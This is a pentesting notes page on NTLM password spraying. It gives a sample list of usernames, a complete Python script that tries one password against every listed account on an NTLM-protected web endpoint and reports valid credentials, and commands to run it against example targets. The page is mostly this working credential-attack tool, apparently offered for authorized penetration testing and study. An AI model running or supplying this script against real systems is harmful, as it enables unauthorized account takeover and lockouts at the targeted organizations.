Exploit Notes

NTLM (New Technology LAN Manager) Pentesting

Last modified: 2022-12-01

Active Directory Windows

NTLM is a suite of security protocols.

Password Spraying Attack (Brute Force Credentials)

First off, prepare the wordlist of usernames.

anthony.reynolds
samantha.thompson
dawn.turner
frances.chapman
...

Next create the exploit for brute force attack.

#!/usr/bin/python3

import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt

class NTLMSprayer:
    def __init__(self, fqdn):
        self.HTTP_AUTH_FAILED_CODE = 401
        self.HTTP_AUTH_SUCCEED_CODE = 200
        self.verbose = True
        self.fqdn = fqdn

    def load_users(self, userfile):
        self.users = []
        lines = open(userfile, 'r').readlines()
        for line in lines:
            self.users.append(line.replace("\r", "").replace("\n", ""))

    def password_spray(self, password, url):
        print ("[*] Starting passwords spray attack using the following password: " + password)
        count = 0
        for user in self.users:
            response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
            if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
                print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
                count += 1
                continue
            if (self.verbose):
                if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                    print ("[-] Failed login with Username: " + user)
        print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

def main(argv):
    userfile = ''
    fqdn = ''
    password = ''
    attackurl = ''

    try:
        opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
    except getopt.GetoptError:
        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-h':
            print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
            sys.exit()
        elif opt in ("-u", "--userfile"):
            userfile = str(arg)
        elif opt in ("-f", "--fqdn"):
            fqdn = str(arg)
        elif opt in ("-p", "--password"):
            password = str(arg)
        elif opt in ("-a", "--attackurl"):
            attackurl = str(arg)

    if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
        #Start attack
        sprayer = NTLMSprayer(fqdn)
        sprayer.load_users(userfile)
        sprayer.password_spray(password, attackurl)
        sys.exit()
    else:
        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
        sys.exit(2)



if __name__ == "__main__":
    main(sys.argv[1:])

Now execute the exploit.

python3 exploit.py -u <usernames.txt> -f <fqdn> -p <password> http://<target-ip>/
python3 exploit.py -u usernames.txt -f sub.vulnerable.com -p password http://ntlmauth.sub.vulnerable.com/

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